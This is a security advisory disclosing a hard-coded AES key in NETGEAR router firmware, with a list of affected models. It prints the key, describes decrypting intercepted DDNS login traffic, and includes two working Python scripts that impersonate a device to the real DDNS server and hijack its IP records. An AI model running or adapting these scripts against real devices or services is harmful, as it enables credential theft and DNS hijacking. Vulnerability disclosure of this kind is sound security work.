Vulnerability type: CWE-321 - Use of Hard-coded Cryptographic Key
Product:
This vulnerability affects 155 firmware images from NETGEAR. The list of affected products is available at the end of this document.
Note that this vulnerability has been confirmed by NETGEAR.
During our recent study on cryptographic misuse, we discovered a vulnerability related to the usage of hard-coded encryption keys in firmware images of NETGEAR. This vulnerability allows attackers to decrypt intercepted data packets and gain access to sensitive information. The compromised data includes the user's registered email and password, the MAC and serial number of the device, and can even lead to DDNS hijacking. It's important to note that this vulnerability is present in a fundamental component of NETGEAR, specifically the Apache HTTP server program. As a result, it impacts a total of 155 distinct firmware images of NETGEAR.
In the httpd
file, there is a function called sub_2BA84()
that handles the registration and login process for DDNS. Unfortunately, within this function, an attacker can directly access the hard-coded encryption key. The specific key is represented as NETGEAR-rbu\x1F\x01\x04\x00\x08\x09\x00\x07\xCE\x80\x00\x00\x00+\x88b&P)A\xA5
, as shown below.
Upon intercepting the data packet during a user's registration or login to the DDNS server, the attacker gains access to the plain text initialization vector (IV) within the packet, as depicted in the image below.
The image below shows the construction of the data packet.
With these two parameters (the encryption key and IV), the attacker can decrypt the data packet that is encrypted using the AES algorithm. This decrypted packet contains sensitive user information, including the user's DDNS email account, password, host name information, device model, firmware version, MAC address, and serial number. As a result, the attacker obtains the user's private and personal data.
Furthermore, the attacker can masquerade as the affected device and establish communication with the DDNS server, allowing them to obtain the necessary ID and key required for communication with the DDNS server.
Subsequently, the attacker can manipulate the DDNS and carry out DDNS hijacking, as illustrated below.
#!/usr/bin/python
import sys
import argparse
from Crypto.Cipher import AES
from hashlib import sha1
import base64
import hmac
from urllib import request
from urllib.error import HTTPError
import ast
def read_file(file):
fd = open(file, "rb+")
_data = fd.read()
fd.close()
return _data
def save_data(file, data):
fd = open(file, "wb+")
fd.write(data)
fd.close()
def encrypt_AES(data, key, iv):
if len(data)%16:
_len = len(data) + 16 - len(data)%16
pad = '\x00'
data = data.ljust(_len, pad.encode())
_aes = AES.new(key, AES.MODE_CBC, iv)
return _aes.encrypt(data)
def decrypt_AES(data, key, iv):
_aes = AES.new(key, AES.MODE_CBC, iv)
return _aes.decrypt(data)
def Str2Dict(_str):
_dict = ast.literal_eval(_str)
return _dict
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-should_exist", default=1)
parser.add_argument("-hostname")
parser.add_argument("-email")
parser.add_argument("-password")
parser.add_argument("-mac")
parser.add_argument("-firmware")
parser.add_argument("-serial")
parser.add_argument("-model")
parser.add_argument("-iv", default="iv")
parser.add_argument("-key", default="key")
args = parser.parse_args()
provider = "NETGEAR"
if args.iv:
iv = read_file(args.iv)
if args.key:
key = read_file(args.key)
info = f"provider={provider}&should_exist={args.should_exist}&hostname={args.hostname}&email={args.email}&password={args.password}&mac={args.mac}&firmware={args.firmware}&serial={args.serial}&model={args.model}"
cipher = encrypt_AES(info.encode(), key, iv)
content = iv + cipher
plain = f"POST\n/oem/user_accounts\n".encode() + content
h = hmac.new(key, plain, digestmod="SHA1")
auth = "NETGEAR:".encode() + h.digest()
_headers = {}
_headers["Accept"] = "text/xml"
_headers["Accept-Charset"] = "charset=iso-8859-1"
_headers["Authorization"] = "Basic " + base64.b64encode(auth).decode()
_headers["Host"] = "netgear.api.oemdns.com"
_headers["User-Agent"] = "NETGEAR/2.0.9 R7000P/V1.3.0.20"
_headers["Content-Length"] = 208
_headers["Content-type"] = "application/x-www-form-urlencoded"
_data = content
req = request.Request("http://netgear.api.oemdns.com/oem/user_accounts")
for tmp in _headers:
req.add_header(tmp, _headers[tmp])
try:
with request.urlopen(req, data=_data) as fd:
print("Status:", fd.status, fd.reason)
for k, v in fd.getheaders():
print("%s: %s" % (k, v))
_data = fd.read().decode()
except HTTPError:
print("Log in Fail!")
sys.exit()
_data = Str2Dict(_data)
for tmp in _data:
print(" " + tmp + ": " + str(_data[tmp]))
if int(_data["http_code"]) == 201:
_data = _data["data"]
_data = base64.b64decode(_data)
_data = decrypt_AES(_data, key, iv)
_data = Str2Dict(_data[16:-3].decode())
_id = _data["id"]
_key = _data["key"]
save_data("client_id", _id.encode())
save_data("client_key", _key.encode())
print("client_id:" + _id)
print("client_key:" + _key)
#!/usr/bin/python
import argparse
import ast
import base64
from hashlib import sha1
import hmac
from urllib import request
def read_file(file):
fd = open(file, "rb+")
_data = fd.read()
fd.close()
return _data
def Str2Dict(_str):
_dict = ast.literal_eval(_str)
return _dict
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-ip")
parser.add_argument("-id", default="client_id")
parser.add_argument("-key", default="client_key")
args = parser.parse_args()
if args.id:
id = read_file(args.id)
if args.key:
key = read_file(args.key)
key = read_file(args.key)
_content = "ip=" + args.ip
_sha1 = hmac.new(key, _content.encode(), digestmod="sha1").digest().lower()
auth = id + b":" + _sha1
auth = base64.b64encode(auth).decode()
_headers = {}
_headers["Authorization"] = "Basic " + auth
_headers["Host"] = "netgear.api.oemdns.com"
_headers["User-Agent"] = "NETGEAR/2.0.9 R7000P/V1.3.0.20"
_headers["Content-Length"] = len(_content)
_headers["Content-Type"] = "application/x-www-form-urlencoded"
req = request.Request("http://netgear.api.oemdns.com/oem/update")
for tmp in _headers:
req.add_header(tmp, _headers[tmp])
_content = _content.encode()
with request.urlopen(req, data=_content) as fd:
print("Status:", fd.status, fd.reason)
for k, v in fd.getheaders():
print("%s: %s" % (k, v))
_data = fd.read().decode()
_data = Str2Dict(_data)
for tmp in _data:
print(" " + tmp + ": " + str(_data[tmp]))
Summary:
Model | Firmware Version | Affected Component |
---|---|---|
R6200v2 | v1.0.3.12_10.1.11 below | httpd |
R6250 | v1.0.4.8_10.1.13 below | httpd |
R6400 | v1.0.1.6_1.0.4 below | httpd |
R6400v2 | v1.0.4.84_10.0.58 below | httpd |
R6700 | v1.0.0.26_10.0.26 below | httpd |
R6900 | v1.0.1.48_10.0.30 below | httpd |
R7000 | v1.0.9.88_10.2.88 below | httpd |
R7000P | v1.3.1.26_10.1.3 below | httpd |
R8000 | v1.0.4.8_1.1.44 below | httpd |
R8500 | v1.0.2.94_1.0.79 below | httpd |
WNR1000v3 | v1.0.2.68_60.0.93 below | httpd |
WNR3500Lv2 | v1.2.0.28_40.0.72 below | httpd |
WNDR4500v2 | v1.0.0.62_1.0.39 below | httpd |
R6220 | v1.1.0.68_1.0.1 below | Netgear_ddns |
R6800 | v1.2.0.40_1.0.1 below | Netgear_ddns |
R6850 | v1.1.0.54_1.0.1 below | Netgear_ddns |
WAC104 | v1.0.4.1 below | Netgear_ddns |
Full list:
- NETGEAR - R7000-V1.0.7.12_1.2.5.chk - httpd
- NETGEAR - R6700-V1.0.0.24_10.0.18.chk - httpd
- NETGEAR - R6400-V1.0.1.26_1.0.19.chk - httpd
- NETGEAR - R8000-V1.0.1.16_1.0.74.chk - httpd
- NETGEAR - R6900-V1.0.0.4_1.0.10.chk - httpd
- NETGEAR - WNDR4500v2-V1.0.0.62_1.0.39.chk - httpd
- NETGEAR - R6400-V1.0.1.18_1.0.15.chk - httpd
- NETGEAR - R7000P-V1.0.1.14_1.0.59.chk - httpd
- NETGEAR - R8500-V1.0.0.42_1.0.23.chk - httpd
- NETGEAR - R6900-V1.0.0.2_1.0.2.chk - httpd
- NETGEAR - R6800-V1.1.0.34_1.0.1.img - Netgear_ddns
- NETGEAR - R7000-V1.0.4.28_1.1.64.chk - httpd
- NETGEAR - R6250-V1.0.4.20_10.1.20.chk - httpd
- NETGEAR - WNR3500Lv2-V1.2.0.28_40.0.72.chk - httpd
- NETGEAR - R6250_V1.0.4.34_10.1.28.chk - httpd
- NETGEAR - R7000-V1.0.3.68_1.1.31.chk - httpd
- NETGEAR - R7000-V1.0.9.14_1.2.25.chk - httpd
- NETGEAR - R7000P-V1.0.0.46_1.0.30.chk - httpd
- NETGEAR - R7000-V1.0.2.200_1.0.18PRRU.chk - httpd
- NETGEAR - R8500-V1.0.2.54_1.0.56.chk - httpd
- NETGEAR - R8500-V1.0.2.64_1.0.62.chk - httpd
- NETGEAR - R6400-V1.0.1.20_1.0.16.chk - httpd
- NETGEAR - R6220-V1.1.0.66_1.0.1.img - Netgear_ddns
- NETGEAR - R6400v2-V1.0.2.50_1.0.38.chk - httpd
- NETGEAR - R6250-V1.0.4.12_10.1.15.chk - httpd
- NETGEAR - R6900-V1.0.1.46_10.0.29.chk - httpd
- NETGEAR - R6900-V1.0.1.22_1.0.18.chk - httpd
- NETGEAR - R7000-V1.0.4.30_1.1.67.chk - httpd
- NETGEAR - R6400-V1.0.1.32_1.0.23.chk - httpd
- NETGEAR - R7000-V1.0.7.10_1.2.3.chk - httpd
- NETGEAR - R6400v2-V1.0.2.34_1.0.22.chk - httpd
- NETGEAR - R6850_V1.1.0.22_1.0.1.img - Netgear_ddns
- NETGEAR - R8500-V1.0.2.106_1.0.85.chk - httpd
- NETGEAR - R7000-V1.0.9.34_10.2.36.chk - httpd
- NETGEAR - R8000-V1.0.0.110_1.0.70.chk - httpd
- NETGEAR - R8000-V1.0.3.48_1.1.33.chk - httpd
- NETGEAR - R6800_V1.1.0.24_1.0.1.img - Netgear_ddns
- NETGEAR - R6400-V1.0.0.26_1.0.14.chk - httpd
- NETGEAR - R7000_V1.0.3.28_1.1.22PRRU.chk - httpd
- NETGEAR - R8000-V1.0.4.8_1.1.44.chk - httpd
- NETGEAR - R8500-V1.0.2.128_1.0.97.chk - httpd
- NETGEAR - R8000-V1.0.4.2_1.1.41.chk - httpd
- NETGEAR - WAC104_V1.0.4.1.img - Netgear_ddns
- NETGEAR - R6850_V1.1.0.34_1.0.1.img - Netgear_ddns
- NETGEAR - R8000-V1.0.0.90_1.0.39.chk - httpd
- NETGEAR - R6850_V1.1.0.38_1.0.1.img - Netgear_ddns
- NETGEAR - R8000-V1.0.3.4_1.1.2.chk - httpd
- NETGEAR - R6400-V1.0.0.24_1.0.13.chk - httpd
- NETGEAR - R8000-V1.0.2.44_1.0.96.chk - httpd
- NETGEAR - R6400-V1.0.1.6_1.0.4.chk - httpd
- NETGEAR - R8000-V1.0.0.76_1.0.32.chk - httpd
- NETGEAR - R7000P-V1.0.0.50_1.0.35.chk - httpd
- NETGEAR - R8500-V1.0.2.86_1.0.75.chk - httpd
- NETGEAR - R8500-V1.0.2.26_1.0.41.chk - httpd
- NETGEAR - R8000-V1.0.4.28_10.1.54.chk - httpd
- NETGEAR - R8000-V1.0.3.46_1.1.32.chk - httpd
- NETGEAR - R6220_V1.1.0.50_1.0.1.img - Netgear_ddns
- NETGEAR - R7000P-V1.0.0.44_1.0.27.chk - httpd
- NETGEAR - R6400-V1.0.1.24_1.0.18.chk - httpd
- NETGEAR - R6250-V1.0.4.8_10.1.13.chk - httpd
- NETGEAR - R8000-V1.0.3.26_1.1.18.chk - httpd
- NETGEAR - R6800-V1.1.0.42_1.0.1.img - Netgear_ddns
- NETGEAR - R6250-V1.0.4.6_10.1.12.chk - httpd
- NETGEAR - R7000-V1.0.9.26_10.2.31.chk - httpd
- NETGEAR - R6900-V1.0.1.14_1.0.14.chk - httpd
- NETGEAR - R8500-V1.0.0.56_1.0.28.chk - httpd
- NETGEAR - R6850-V1.1.0.40_1.0.1.img - Netgear_ddns
- NETGEAR - R8000-V1.0.3.36_1.1.25.chk - httpd
- NETGEAR - R7000P-V1.3.1.26_10.1.3.chk - httpd
- NETGEAR - R6220_1.1.0.31_1.0.1.img - Netgear_ddns
- NETGEAR - R7000-V1.0.9.12_1.2.23.chk - httpd
- NETGEAR - R7000-V1.0.4.18_1.1.52.chk - httpd
- NETGEAR - R7000-V1.0.3.60_1.1.27.chk - httpd
- NETGEAR - R6400-V1.0.1.36_1.0.25.chk - httpd
- NETGEAR - R6900-V1.0.1.20_1.0.17.chk - httpd
- NETGEAR - R7000-V1.0.3.80_1.1.38.chk - httpd
- NETGEAR - R6850-V1.1.0.42_1.0.1.img - Netgear_ddns
- NETGEAR - R6850-V1.1.0.54_1.0.1.img - Netgear_ddns
- NETGEAR - R6400v2-V1.0.2.62_10.0.46.chk - httpd
- NETGEAR - R8500-V1.0.2.100_1.0.82.chk - httpd
- NETGEAR - R7000-V1.0.9.28_10.2.32.chk - httpd
- NETGEAR - R7000-V1.0.9.88_10.2.88.chk - httpd
- NETGEAR - R8000-V1.0.3.32_1.1.21.chk - httpd
- NETGEAR - R6220-V1.1.0.60_1.0.1.img - Netgear_ddns
- NETGEAR - R6220_V1.0.0.17_1.0.1_FW.img - Netgear_ddns
- NETGEAR - WNR1000v3-V1.0.2.68_60.0.93.chk - httpd
- NETGEAR - R6800-V1.1.0.32_1.0.1.img - Netgear_ddns
- NETGEAR - R8000-V1.0.0.102_1.0.45.chk - httpd
- NETGEAR - R6250-V1.0.3.12_10.1.8.chk - httpd
- NETGEAR - R6400v2-V1.0.4.84_10.0.58.chk - httpd
- NETGEAR - R8500-V1.0.2.80_1.0.71.chk - httpd
- NETGEAR - R6250-V1.0.4.26_10.1.23.chk - httpd
- NETGEAR - R6250-V1.0.4.2_10.1.10.chk - httpd
- NETGEAR - R8500-V1.0.2.122_1.0.94.chk - httpd
- NETGEAR - R6400v2-V1.0.2.46_1.0.36.chk - httpd
- NETGEAR - WNDR4500v2-V1.0.0.56_1.0.36.chk - httpd
- NETGEAR - R7000-V1.0.3.56_1.1.25.chk - httpd
- NETGEAR - R7000P-V1.3.0.20_10.1.1.chk - httpd
- NETGEAR - R6900-V1.0.1.48_10.0.30.chk - httpd
- NETGEAR - R6800-V1.2.0.16_1.0.1.img - Netgear_ddns
- NETGEAR - R7000-V1.0.9.18_1.2.27.chk - httpd
- NETGEAR - R6400-V1.0.1.34_1.0.24.chk - httpd
- NETGEAR - R6400-V1.0.0.20_1.0.11.chk - httpd
- NETGEAR - R6400-V1.0.1.22_1.0.17.chk - httpd
- NETGEAR - R7000-V1.0.5.64_1.1.88.chk - httpd
- NETGEAR - R7000-V1.0.3.24_1.1.20.chk - httpd
- NETGEAR - R6220-V1.1.0.68_1.0.1.img - Netgear_ddns
- NETGEAR - R7000P-V1.3.0.8_1.0.93.chk - httpd
- NETGEAR - R6400v2-V1.0.2.52_1.0.39.chk - httpd
- NETGEAR - R8500-V1.0.0.52_1.0.26.chk - httpd
- NETGEAR - R6220_V1.1.0.34_1.0.1.img - Netgear_ddns
- NETGEAR - R6220_V1.0.0.16_1.0.1_FW.img - Netgear_ddns
- NETGEAR - R6800-V1.2.0.12_1.0.1.img - Netgear_ddns
- NETGEAR - R7000P-V1.0.0.56_1.0.45.chk - httpd
- NETGEAR - R8500-V1.0.2.116_1.0.90.chk - httpd
- NETGEAR - R6250-V1.0.3.6_10.1.3.chk - httpd
- NETGEAR - R7000-V1.0.9.10_1.2.21.chk - httpd
- NETGEAR - R6900-V1.0.1.16_1.0.15.chk - httpd
- NETGEAR - R8000-V1.0.3.54_1.1.37.chk - httpd
- NETGEAR - R6800-V1.2.0.4_1.0.2.img - Netgear_ddns
- NETGEAR - V1.0.9.21_20171227_android.chk - httpd
- NETGEAR - R7000P-V1.2.0.22_1.0.78.chk - httpd
- NETGEAR - R6900-V1.0.1.28_1.0.21.chk - httpd
- NETGEAR - R6700-V1.0.0.2_1.0.1.chk - httpd
- NETGEAR - R6800-V1.2.0.40_1.0.1.img - Netgear_ddns
- NETGEAR - R6800-V1.2.0.14_1.0.1.img - Netgear_ddns
- NETGEAR - R7000P-V1.0.0.58_1.0.50.chk - httpd
- NETGEAR - R6220_V1.1.0.42_1.0.1.img - Netgear_ddns
- NETGEAR - R8000-V1.0.0.68_1.0.27.chk - httpd
- NETGEAR - R6250-V1.0.4.16_10.1.18.chk - httpd
- NETGEAR - R6800-V1.1.0.38_1.0.1.img - Netgear_ddns
- NETGEAR - R8500-V1.0.0.28_1.0.15.chk - httpd
- NETGEAR - R7000-V1.0.9.6_1.2.19.chk - httpd
- NETGEAR - R7000-V1.0.9.32_10.2.34.chk - httpd
- NETGEAR - R6700-V1.0.0.26_10.0.26.chk - httpd
- NETGEAR - R6800-1.2.0.24_1.0.1.img - Netgear_ddns
- NETGEAR - R8500-V1.0.2.94_1.0.79.chk - httpd
- NETGEAR - R7000-V1.0.9.42_10.2.44.chk - httpd
- NETGEAR - R7000-V1.0.7.6_1.1.99.chk - httpd
- NETGEAR - R8000-V1.0.4.12_10.1.46.chk - httpd
- NETGEAR - R6400-V1.0.1.42_1.0.28.chk - httpd
- NETGEAR - R6900-V1.0.1.34_1.0.24.chk - httpd
- NETGEAR - R7000-V1.0.7.2_1.1.93.chk - httpd
- NETGEAR - R7000-V1.0.5.70_1.1.91.chk - httpd
- NETGEAR - R6900-V1.0.1.26_1.0.20.chk - httpd
- NETGEAR - R6400v2-V1.0.2.44_1.0.35.chk - httpd
- NETGEAR - R8000-V1.0.0.74_1.0.31.chk - httpd
- NETGEAR - R6220_v1014_101.img - Netgear_ddns
- NETGEAR - R6200v2-V1.0.3.10_10.1.10.chk - httpd
- NETGEAR - R6200v2-V1.0.3.12_10.1.11.chk - httpd
- NETGEAR - R6220-V1.1.0.62_1.0.1.img - Netgear_ddns
- NETGEAR - R8000-V1.0.4.18_10.1.49.chk - httpd
- NETGEAR - R6400-V1.0.1.12_1.0.11.chk - httpd
- NETGEAR - R7000-V1.0.9.106_10.2.61.chk - httpd
- NETGEAR - R6400-V1.0.0.14_1.0.8.chk - httpd